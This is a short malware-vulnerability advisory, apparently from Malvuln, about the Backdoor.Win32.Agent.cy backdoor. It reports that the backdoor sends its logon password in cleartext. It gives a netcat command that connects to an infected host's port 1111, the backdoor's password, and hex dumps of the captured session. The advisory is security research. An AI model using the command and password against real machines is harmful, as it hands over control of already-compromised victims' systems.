Tuesday, May 18, 2021

Backdoor.Win32.Agent.cy Insecure Transit

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/e85a1028a52fcc723353a236ada54fee_B.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.cy
Vulnerability: Insecure Transit
Description: The malware listens on TCP port 1111, drops an executable named "Spoolsw.exe" under SysWOW64 that runs with SYSTEM integrity. The malware passes logon credentials in cleartext allowing anyone who can sniff network traffic to read any communications sent or retrieved. This can disclose the malwares password to well positioned attackers.
Type: PE32
MD5: e85a1028a52fcc723353a236ada54fee
Vuln ID: MVID-2021-0208
Dropped files: Spoolsw.exe
Disclosure: 05/14/2021

Exploit/PoC:
Use Wireshark to sniff traffic.

nc64.exe MALWARE_INFECTED_HOST 1111
TrFsB-RuleZ

0000 00 XX XX XX XX XX 00 XX XX XX XX XX 08 00 45 00 ..).yq..)R....E.
0010 00 34 7d e7 40 00 80 06 00 00 c0 a8 58 82 c0 a8 .4}[email protected]
0020 58 7f d6 89 04 57 25 a8 1e c1 fe 1d 20 c6 50 18 X....W%..... .P.
0030 20 14 32 79 00 00 54 72 46 73 42 2d 52 75 6c 65 .2y..TrFsB-Rule
0040 5a 0a Z.

0000 00 XX XX XX XX XX 00 XX XX XX XX XX 08 00 45 00 ..)R....).yq..E.
0010 00 65 23 e0 40 00 80 06 00 00 c0 a8 58 7f c0 a8 .e#[email protected]
0020 58 82 04 57 d6 82 29 67 fb a8 9f 73 8c 20 50 18 X..W..)g...s. P.
0030 08 05 32 aa 00 00 0a 4f 4b 2c 20 50 41 53 53 57 ..2....OK, PASSW
0040 4f 52 54 20 61 6b 74 7a 65 70 74 69 65 72 74 20 ORT aktzeptiert
0050 2c 20 54 72 69 74 74 20 65 69 6e 20 2c 20 62 72 , Tritt ein , br
0060 69 6e 67 20 47 6c fc 63 6b 20 68 65 72 65 69 6e ing Gl.ck herein
0070 21 21 0a !!.



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